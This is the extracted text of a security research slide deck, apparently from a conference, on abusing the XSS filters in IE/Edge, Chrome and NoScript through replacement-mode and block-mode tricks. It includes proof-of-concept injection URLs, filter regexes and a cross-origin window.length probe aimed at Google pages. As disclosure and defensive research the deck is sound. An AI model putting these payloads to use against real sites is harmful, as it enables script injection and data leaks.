Slide 1

Slide 1 text

No content

Slide 2

Slide 2 text

No content

Slide 3

Slide 3 text

❶ ➌ ❷ ❹ Agenda

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

XSS Filter? https://example.com/?q="> ">

Slide 6

Slide 6 text

XSS Filter? https://example.com/?q="> ">

Slide 7

Slide 7 text

Support https://addons.mozilla.org/ja/firefox/addon/noscript/

Slide 8

Slide 8 text

How to Control HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN

Slide 9

Slide 9 text

X-XSS-Protection

Slide 10

Slide 10 text

X-XSS-Protection

Slide 11

Slide 11 text

How to control NoScript X-XSS-Protection

Slide 12

Slide 12 text

Basic Behavior https://example.com/?q="> https://example.com/#5382863726995448701 "> ">

Slide 13

Slide 13 text

Behavior of block mode

Slide 14

Slide 14 text

Filter Mechanism of IE/Edge "> https://example.com/?q=">

Slide 15

Slide 15 text

Filter Mechanism of XSS Auditor "> https://example.com/?q=">

Slide 16

Slide 16 text

Filter Mechanism of NoScript https://example.com/?q="> https://example.com/#5382863726995448701

Slide 17

Slide 17 text

False Positives and Filter <script> - Google Search (function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>

Slide 18

Slide 18 text

Filter's Risk if(jQuery){ // Expected }else{ // ??? } https://example.com/?

Slide 19

Slide 19 text

ABUSING FILTER's Replacement Mode

Slide 20

Slide 20 text

{} {

Slide 21

Slide 21 text

Why "> happens [ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. ">

Slide 22

Slide 22 text

Why "> happens "> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"

Slide 23

Slide 23 text

XSS using XSS filter means:

Slide 24

Slide 24 text

Past Discoveries https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622

Slide 25

Slide 25 text

2015: Rediscoveries https://www.slideshare.net/masatokinugawa/xxn-en

Slide 26

Slide 26 text

XXN Example [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= q = "";document#body.innerHTML="<xss>"; URL: ?q=";document.body.innerHTML="

Slide 27

Slide 27 text

XXN Example [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> URL: ?"/++.+++=

Slide 28

Slide 28 text

Mitigation for these attacks mode=block "style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf: mode=block

Slide 29

Slide 29 text

Strange fix

Slide 30

Slide 30 text

^ is Safe? window#name// The execution is aborted by the syntax error window^name// valid syntax, it is executed as JavaScript window.name

Slide 31

Slide 31 text

No content

Slide 32

Slide 32 text

XXN using caret (CVE-2016-3212) url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }

Slide 33

Slide 33 text

ES6 and XXN https://example.com/?q=";alert`1`// q = "";alert`1`//"; https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else(by Mario Heiderich)

Slide 34

Slide 34 text

XXN using back-tick characters (CVE-2016-7280) https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] foo=``; q="[USER_INPUT]"; foo=`#; q="${alert(1)}#`//";

Slide 35

Slide 35 text

Now, the replacement behavior is safe? https://example.com/?+onfiles+++=. [...]

Slide 36

Slide 36 text

Future replacement mode https://bugs.chromium.org/p/chromium/issues/detail?id=654794

Slide 37

Slide 37 text

ABUSING FILTER's Block Mode

Slide 38

Slide 38 text

Past found bugs in block mode http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html window.length ✨

Slide 39

Slide 39 text

Getting the filter state https://VICTIM/ https://VICTIM/? IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //when filter works, //the number of frames is "0" }else{ //normal } …

Slide 40

Slide 40 text

Mitigations in IE/Edge     

Slide 41

Slide 41 text

Abusing block mode in Google https://www.youtube.com/watch?v=IMDWjKFbsJE

Slide 42

Slide 42 text

Checking Google's Homepage HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ✔ ✔ window.length

Slide 43

Slide 43 text

Special Conditions(1) https://accounts.google.com/ServiceLogin?

Slide 44

Slide 44 text

Special Conditions(2) google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(

Slide 45

Slide 45 text

✨ Bypassing attempts limitation ✨ ✨

Slide 46

Slide 46 text

Another important thing {

Slide 47

Slide 47 text

Investigating filter details 0 1 2 3 4 5 6 7 8 9 10 https://example.com/

Slide 48

Slide 48 text

Investigating filter details 0 1 2 3 4 5 6 7 8 9 10

Slide 49

Slide 49 text

Investigating filter details 0 1 2 3 4 5 6 7 8 9 10 https://example.com/?

Slide 50

Slide 50 text

0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_ A a 0x00 0-9 < B-Z b-z No reaction Result

Slide 51

Slide 51 text

Result 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_ A a 0x00 0-9 < B-Z b-z No reaction

Slide 52

Slide 52 text

The Target
{[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}

Slide 53

Slide 53 text

Check Conditions ✔ ✔ ✔ ✔

Slide 54

Slide 54 text

Organizing URL for attacks

Slide 55

Slide 55 text

Getting the number of characters https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]=

Slide 56

Slide 56 text

Getting the characters https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]=

Slide 57

Slide 57 text

https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ca/?"[email protected]= ... Getting the characters

Slide 58

Slide 58 text

✨ ✨ ✨

Slide 59

Slide 59 text

After the fix

Slide 60

Slide 60 text

Microsoft's Fix

Slide 61

Slide 61 text

PROPER USAGE of XSS FILTER

Slide 62

Slide 62 text

Recommendation of X-XSS-Protection

Slide 63

Slide 63 text

0 is dangerous?   

Slide 64

Slide 64 text

How should we do?  X-XSS- Protection     

Slide 65

Slide 65 text

At the last: Rewards      

Slide 66

Slide 66 text

No content